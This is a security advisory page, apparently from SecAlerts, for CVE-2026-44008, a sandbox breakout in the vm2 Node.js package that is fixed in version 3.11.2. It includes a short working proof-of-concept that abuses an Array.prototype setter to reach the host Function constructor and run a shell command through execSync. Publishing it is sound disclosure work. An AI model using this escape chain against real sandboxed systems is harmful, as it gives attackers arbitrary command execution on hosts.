CVE-2026-44008: vm2: Snabox breakout via `neutralizeArraySpeciesBatch`

Published May 8, 2026
·
Updated

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.

PoC

js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }); new Buffer(a); ));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2<=3.11.1
3.11.2
Vm2 Project Vm2 Node.js<3.11.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.2
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.2

Event History

May 8, 2026
Advisory Published
via GitHub·03:58 PM
Data Sourced
via GitHub·03:58 PM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:35 PM
Data Sourced
via MITRE·05:35 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44008?

CVE-2026-44008 is categorized as a high-severity vulnerability due to its potential for sandbox breakout and arbitrary command execution.

2

How do I fix CVE-2026-44008?

To fix CVE-2026-44008, upgrade the VM2 package to version 3.11.2 or later.

3

What systems are affected by CVE-2026-44008?

CVE-2026-44008 affects all versions of the VM2 package prior to 3.11.2.

4

What does CVE-2026-44008 allow attackers to do?

CVE-2026-44008 allows attackers to escape the VM2 sandbox and execute arbitrary commands on the host system.

5

Is CVE-2026-44008 exploitable remotely?

Yes, CVE-2026-44008 is considered exploitable remotely under certain conditions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203